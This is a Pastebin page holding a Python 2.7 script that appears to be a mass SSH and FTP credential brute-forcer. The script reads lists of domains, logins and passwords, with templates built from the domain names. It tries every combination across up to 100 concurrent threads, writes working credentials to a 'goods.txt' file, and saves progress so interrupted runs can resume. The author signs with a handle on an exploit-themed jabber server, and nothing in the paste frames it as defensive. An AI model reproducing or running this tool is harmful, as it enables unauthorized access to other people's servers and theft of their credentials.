Advertisement
Guest User

Untitled

a guest
Jul 29th, 2016
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.92 KB | None | 0 0
  1. #!/usr/bin/python2.7
  2. # -*- coding: UTF-8 -*-
  3. #Create by Slaviskes
  4. #jabber: slaviskes@exploit.im
  5.  
  6.  
  7. import sys
  8. import argparse
  9. import re
  10. import gevent, gevent.monkey
  11. import paramiko
  12. from paramiko.ssh_exception import SSHException, AuthenticationException
  13. from ftplib import FTP
  14. import ftplib
  15. import gevent.os
  16. gevent.monkey.patch_all()
  17.  
  18.  
  19. class SaverWork():
  20.     def __init__(self, save_file, time_update=10):
  21.         self.work_lines = {}
  22.         self.min_line_number = 0
  23.         self.max_line_number = 0
  24.         self.save_file = save_file
  25.         self.loader_work_moment()
  26.         self.time_update = time_update
  27.         self.run_threads = 0
  28.  
  29.     def thread_start(self):
  30.         self.run_threads += 1
  31.  
  32.     def thread_stop(self):
  33.         self.run_threads -= 1
  34.  
  35.     def clear_work_file(self):
  36.         try:
  37.             self.save_file.truncate(0)
  38.         except Exception as e:
  39.             print "WorkSaver: can't clear work file {0}".format(e.message)
  40.  
  41.     def save_work_moment(self):
  42.         try:
  43.             self.save_file.truncate(0)
  44.             self.save_file.write(str(self.min_line_number))
  45.         except Exception as e:
  46.             print "WorkSaver: can't save result in file {0}".format(e.message)
  47.  
  48.     def loader_work_moment(self):
  49.         try:
  50.             line = self.save_file.readline().strip()
  51.             self.min_line_number = int(line)
  52.         except Exception as e:
  53.             print "WorkSaver: can't load previous result work {0}".format(e.message)
  54.  
  55.     def start_work_with_line(self, line_number):
  56.         #print "start work with line {0}".format(line_number)
  57.         #print self.work_lines.keys()
  58.         self.work_lines[line_number] = True
  59.         if line_number < self.min_line_number:
  60.             self.min_line_number = line_number
  61.  
  62.     def end_work_with_line(self, line_number):
  63.         if line_number in self.work_lines:
  64.             #print "end work with line {0}".format(line_number)
  65.             #print self.work_lines.keys()
  66.             del self.work_lines[line_number]
  67.             if line_number > self.max_line_number:
  68.                 self.max_line_number = line_number
  69.                 self.update_min_line_number()
  70.                 self.save_work_moment()
  71.             else:
  72.                 self.update_min_line_number()
  73.  
  74.     def get_min_line_number(self):
  75.         return self.min_line_number
  76.  
  77.     def saver_work_moment(self):
  78.         gevent.sleep(self.time_update)
  79.         while self.run_threads > 0:
  80.             print "Wait threads number: {0}".format(self.run_threads)
  81.             self.save_work_moment()
  82.             #print self.max_line_number, " ", self.min_line_number, " ", self.work_lines.keys()
  83.             gevent.sleep(self.time_update)
  84.             self.save_work_moment()
  85.  
  86.     def update_min_line_number(self):
  87.         if len(self.work_lines):
  88.             self.min_line_number = min(self.work_lines.keys())
  89.         else:
  90.             self.min_line_number = self.max_line_number
  91.  
  92.  
  93. def create_argparse():
  94.     parser = argparse.ArgumentParser()
  95.     file_type = argparse.FileType(mode='r')
  96.     parser.add_argument('-d', '--domains', required=True, type=file_type)
  97.     parser.add_argument('--login', required=True, type=file_type)
  98.     parser.add_argument('--password', required=True, type=file_type)
  99.     parser.add_argument('-p', '--protocol', required=True, type=str, choices=['ssh','ftp'])
  100.     parser.add_argument('-t', '--thread', default=100, type=int)
  101.     return parser
  102.  
  103.  
  104. def check_domain_or_ip(domain):
  105.     pattern = re.compile(ur'(^(?:(?:www[\.])?\w+[\w\-\.]*[\w]+\.[\w]{2,7})|(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$)', re.UNICODE)
  106.     try:
  107.         return pattern.match(domain.decode('utf-8'))
  108.     except AttributeError:
  109.         return False
  110.  
  111.  
  112. def get_domain_names(domain):
  113.     names = {
  114.         'allname': '',
  115.         'name': ''
  116.     }
  117.     domain_split = domain.split('.')
  118.     if re.match(ur'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', domain):
  119.         return names
  120.     names['allname'] = domain
  121.     try:
  122.         if domain_split[0] == 'www':
  123.             names['name'] = domain_split[0]
  124.         else:
  125.             names['name'] = domain_split[1]
  126.     except IndexError:
  127.         pass
  128.     finally:
  129.         return names
  130.  
  131.  
  132. def replace_templates(domain, line):
  133.     names = get_domain_names(domain)
  134.     for name_key, name_value in names.iteritems():
  135.         line = line.replace('%{0}%'.format(name_key), name_value)
  136.     return line
  137.  
  138.  
  139. def get_work_data(domain_file,  work_saver):
  140.     if len(logins) and len(passwords):
  141.         for line_number, domain_line in enumerate(domain_file):
  142.             if work_saver.get_min_line_number() > line_number:
  143.                 continue
  144.             domain = domain_line.strip()
  145.             if check_domain_or_ip(domain):
  146.                     yield (line_number, domain)
  147.  
  148.  
  149. def get_login_password(domain, logins, passwords):
  150.     for login in logins:
  151.         login = replace_templates(domain, login.strip())
  152.         for password in passwords:
  153.             password = replace_templates(domain, password.strip())
  154.             yield (login, password)
  155.  
  156.  
  157. def get_next_login_password(domain, logins, passwords):
  158.     for login_password in get_login_password(domain, logins, passwords):
  159.         yield login_password
  160.  
  161.  
  162. def get_lines_from_file(file):
  163.     return [line.strip() for line in file]
  164.  
  165.  
  166. def get_next_work_data(namespace, work_saver):
  167.     for work_data in get_work_data(namespace.domains, work_saver):
  168.         yield work_data
  169.  
  170.  
  171. def task(work_data_list, logins, passwords, protocol, goods_file, work_saver, i):
  172.     work_saver.thread_start()
  173.     iteration = 0
  174.     for line_number, domain in work_data_list:
  175.         print "Thread {0} start brute {1}({2})".format(i, protocol, domain)
  176.         iteration += 1
  177.         login_password_list_gen = get_next_login_password(domain, logins, passwords)
  178.         for login, password in login_password_list_gen:
  179.             try:
  180.                 work_saver.start_work_with_line(line_number)
  181.                 #print "Thread {0} start brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
  182.                 if protocol == 'ssh':
  183.                     try:
  184.                         client = paramiko.SSHClient()
  185.                         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  186.                         client.connect(hostname=domain, username=login, password=password, timeout=10)
  187.                         client.close()
  188.                         print "Thread {0} success brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
  189.                         goods_file.write("{0}@{1}\t:\t{2}\n".format(login, domain, password))
  190.                     except AuthenticationException:
  191.                         pass
  192.                         #print "Thread {0} failed brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
  193.                 else:
  194.                     good = False
  195.                     try:
  196.                         client = FTP(domain, login, password, timeout=10)
  197.                         client.connect()
  198.                         good = True
  199.                     except EOFError:
  200.                         pass
  201.                     except(ftplib.error_perm, ftplib.error_temp) as e:
  202.                         if e.message.find('530') == -1:
  203.                             good = True
  204.                     if good:
  205.                         print "Thread {0} success brute {1}({2}) login: {3} password: {4}".format(i, protocol, domain, login, password)
  206.                         goods_file.write("{0}@{1}\t:\t{2}\n".format(login, domain, password))
  207.             except Exception as e:
  208.                 print "Thread {0} failed brute {1}({2}) login: {3} password: {4} {5}".format(i, protocol, domain, login, password, e.message)
  209.                 break
  210.             finally:
  211.                 work_saver.end_work_with_line(line_number)
  212.     if iteration:
  213.         print "Thread {0} stop".format(i)
  214.     work_saver.thread_stop()
  215.  
  216.  
  217. if __name__ == '__main__':
  218.     print "Start work"
  219.     namespace = create_argparse().parse_args(sys.argv[1:])
  220.     goods_file = open('goods.txt', 'a')
  221.     worksave_file = open('worksave', 'a+')
  222.     work_saver = SaverWork(worksave_file, time_update=10)
  223.     for file_handler in (namespace.domains, namespace.login, namespace.password, goods_file, worksave_file):
  224.         gevent.os.make_nonblocking(file_handler)
  225.     logins = get_lines_from_file(namespace.login)
  226.     passwords = get_lines_from_file(namespace.password)
  227.     work_data_list_gen = get_next_work_data(namespace, work_saver)
  228.     threads = [gevent.spawn(task, work_data_list_gen, logins, passwords, namespace.protocol, goods_file, work_saver, i) for i in xrange(namespace.thread)]
  229.     threads.append(gevent.spawn(work_saver.saver_work_moment))
  230.     gevent.joinall(threads)
  231.     work_saver.clear_work_file()
  232.     for file_handler in (namespace.domains, namespace.login, namespace.password, goods_file, worksave_file):
  233.         file_handler.close()
  234.     print "Finished work"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement